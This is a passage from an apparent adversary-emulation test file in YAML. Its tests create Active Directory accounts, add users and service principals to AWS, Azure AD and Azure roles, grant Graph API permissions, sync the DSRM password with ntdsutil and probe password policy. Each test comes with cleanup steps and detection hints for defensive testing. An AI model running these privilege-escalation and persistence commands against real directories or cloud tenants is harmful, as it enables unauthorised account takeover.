        prereq_command: "Try {\n    Import-Module ActiveDirectory -ErrorAction Stop
          | Out-Null\n    exit 0\n} \nCatch {\n    exit 1\n}\n"
        get_prereq_command: |
          if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
            Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
          } else {
            Install-WindowsFeature RSAT-AD-PowerShell
          }
      executor:
        command: |
          $x = Get-Random -Minimum 2 -Maximum 99
          $y = Get-Random -Minimum 2 -Maximum 99
          $z = Get-Random -Minimum 2 -Maximum 99
          $w = Get-Random -Minimum 2 -Maximum 99

          Import-Module ActiveDirectory
          $account = "#{account_prefix}-$x$y$z"
          New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
          Add-ADGroupMember "#{group}" $account
        cleanup_command: 'Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))"
          | Remove-ADUser -Confirm:$False

          '
        name: powershell
    - name: AWS - Create a group and add a user to that group
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122
      description: 'Adversaries create AWS group, add users to specific to that group
        to elevate their privilieges to gain more accesss

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Name of the AWS group to create
          type: string
          default: atomicredteam
      dependencies:
      - description: 'Check if the user exists, we can only add a user to a group
          if the user exists.

          '
        prereq_command: 'aws iam list-users | grep #{username}

          '
        get_prereq_command: 'echo Please run atomic test T1136.003, before running
          this atomic test

          '
      executor:
        command: |
          aws iam create-group --group-name #{username}
          aws iam add-user-to-group --user-name #{username} --group-name #{username}
        cleanup_command: |
          aws iam remove-user-from-group --user-name #{username} --group-name #{username}
          aws iam delete-group --group-name #{username}
        name: sh
    - name: Azure AD - adding user to Azure AD role
      auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261
      description: "The adversaries want to add user to some Azure AD role. Threat
        actor \nmay be interested primarily in highly privileged roles, e.g. Global
        Administrator, Application Administrator, \nPrivileged Authentication Administrator
        (this role can reset Global Administrator password!).\nBy default, the role
        Global Reader is assigned to the user principal in this test.\n\nThe account
        you use to run the PowerShell command should have Privileged Role Administrator
        or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity
        \"Add member to role\" in Azure AD Audit Logs. In targer you will also see
        User as a type.\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        user_principal_name:
          description: Display Name, or User Principal Name, of the targeted user
            principal
          type: string
          default: SuperUser
        role_name:
          description: Name of the targeted Azure AD role
          type: string
          default: Global Reader
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }
          Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
          Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore

          $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId
          Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role"
        name: powershell
        elevation_required: false
    - name: Azure AD - adding service principal to Azure AD role
      auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4
      description: "The adversaries want to add service principal to some Azure AD
        role. Threat actor \nmay be interested primarily in highly privileged roles,
        e.g. Global Administrator, Application Administrator, \nPrivileged Authentication
        Administrator (this role can reset Global Administrator password!).\nBy default,
        the role Global Reader is assigned to service principal in this test.\n\nThe
        account you use to run the PowerShell command should have Privileged Role
        Administrator or Global Administrator role in your Azure AD.\n\nDetection
        hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer
        you will also see Service Principal as a type.\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        service_principal_name:
          description: Name of the service principal
          type: string
          default: SuperSP
        role_name:
          description: Name of the targeted Azure AD role
          type: string
          default: Global Reader
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }
          Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
          Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore

          $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId
          Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role"
        name: powershell
        elevation_required: false
    - name: Azure - adding user to Azure role in subscription
      auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea
      description: "The adversaries want to add user to some Azure role, also called
        Azure resource role. Threat actor \nmay be interested primarily in highly
        privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is
        assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also
        use to assign user/service principal to resource, resource group and management
        group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write
        \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory
        Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection
        hint - check Operation Name \"Create role assignment\" in subscriptions Activity
        Logs.\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        user_principal_name:
          description: Display Name, or User Principal Name, of the targeted user
            principal
          type: string
          default: SuperUser
        role_name:
          description: Name of the targeted Azure role
          type: string
          default: Reader
        subscription:
          description: Name of the targeted subscription
          type: string
          default: Azure subscription 1
      dependencies:
      - description: 'Az.Resources module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az.Resources -Force

          '
      executor:
        command: |
          Import-Module -Name Az.Resources
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzAccount -Credential $Credential

          $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
          if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
          $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
          Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzAccount -Credential $Credential -ErrorAction Ignore

          $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
          if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
          $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
          Write-Host "User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
        name: powershell
        elevation_required: false
    - name: Azure - adding service principal to Azure role in subscription
      auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404
      description: "The adversaries want to add service principal to some Azure role,
        also called Azure resource role. Threat actor \nmay be interested primarily
        in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role
        Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment
        cmdlet could be also use to assign user/service principal to resource, resource
        group and management group.\n\nThe account you use to run the PowerShell command
        must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User
        Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All
        \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint -
        check Operation Name \"Create role assignment\" in subscriptions Activity
        Logs.\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        service_principal_name:
          description: Name of the service principal
          type: string
          default: SuperSP
        role_name:
          description: Name of the targeted Azure role
          type: string
          default: Reader
        subscription:
          description: Name of the targeted subscription
          type: string
          default: Azure subscription 1
      dependencies:
      - description: 'Az.Resources module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az.Resources -Force

          '
      executor:
        command: "Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString
          -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal
          | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp
          -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription
          = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif
          ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit
          }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif
          ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment
          -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host
          \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in
          subscriptions $($subscriptions.Name)\"\n"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction
          Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName
          -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service
          Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object
          {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning
          \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object
          {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role
          not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId
          $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal
          $($sp.DisplayName) was removed from $($role.Name) role in subscriptions
          $($subscriptions.Name)\"\n"
        name: powershell
        elevation_required: false
    - name: Azure AD - adding permission to application
      auto_generated_guid: 94ea9cc3-81f9-4111-8dde-3fb54f36af4b
      description: |
        The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor.
        This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: "Get-AzureADApplication" instead of "New-AzureADServicePrincipal".
        The DirectoryRecommendations.Read.All permissions has been selected as the default.

        The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.

        Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs.
        You can also take a look at the materials:
        https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/
        https://github.com/reprise99/Sentinel-Queries
        https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766
        https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        application_name:
          description: Name of the targeted application that will be created
          type: string
          default: test_app
        application_permission:
          description: Permission from Microsoft Graph Resource API that will be added
            to application
          type: string
          default: DirectoryRecommendations.Read.All
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: "Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String
          \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication
          -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal
          -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication
          -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal
          of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal
          -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess
          for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId
          = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set
          Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission
          = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess
          = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type
          = \"Role\"\n$resourceAccess.Id = $reqPermission.Id    \n#Add required app
          permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host
          \"App permission $permission not found in the Graph Resource API\" -ForegroundColor
          Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object
          System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set
          permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId
          -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal =
          Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment
          -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId
          -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n"
        cleanup_command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $aadApplication = @(Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'")
          If ($aadApplication.Count -eq 0)
          {
            Write-Host "App not found: cannot delete it"
            exit
          }
          ElseIf ($aadApplication.Count -gt 1)
          {
            Write-Host "Found several app with name '#{application_name}': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required."
            exit
          }
          Else
          {
            Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId
            Write-Host "Successfully deleted app"
          }
        name: powershell
        elevation_required: false
    - name: Password Change on Directory Service Restore Mode (DSRM) Account
      auto_generated_guid: d5b886d9-d1c7-4b6e-a7b0-460041bf2823
      description: 'Change the password on the Directory Service Restore Mode (DSRM)
        account using ntdsutil by syncing to existing account

        '
      supported_platforms:
      - windows
      input_arguments:
        sync_account:
          description: Account to sync password from
          type: string
          default: "%username%"
      executor:
        name: command_prompt
        elevation_required: true
        command: 'ntdsutil "set dsrm password" "sync from domain account #{sync_account}"
          "q" "q"

          '
    - name: 'Domain Password Policy Check: Short Password'
      auto_generated_guid: fc5f9414-bd67-4f5f-a08e-e5381e29cbd1
      description: |
        Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
        If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password.  You can then run the atomic manually and specify a new password of your choosing, however the
        password policy will likely prevent you from setting the password back to what it was.
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default value
            is 7 characters)
          type: string
          default: Uplow-1
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Number in Password'
      auto_generated_guid: 68190529-069b-4ffc-a942-919704158065
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has upper and lower case and special character but no number)
          type: string
          default: UpperLowerLong-special
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Special Character in Password'
      auto_generated_guid: 7d984ef2-2db2-4cec-b090-e637e1698f61
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has upper and lower case and number but no special character)
          type: string
          default: UpperLowerLong333noSpecialChar
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Uppercase Character in Password'
      auto_generated_guid: b299c120-44a7-4d68-b8e2-8ba5a28511ec
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has and lower case and special character and number but no uppercase)
          type: string
          default: lower-long-special-333
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Lowercase Character in Password'
      auto_generated_guid: 945da11e-977e-4dab-85d2-f394d03c5887
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
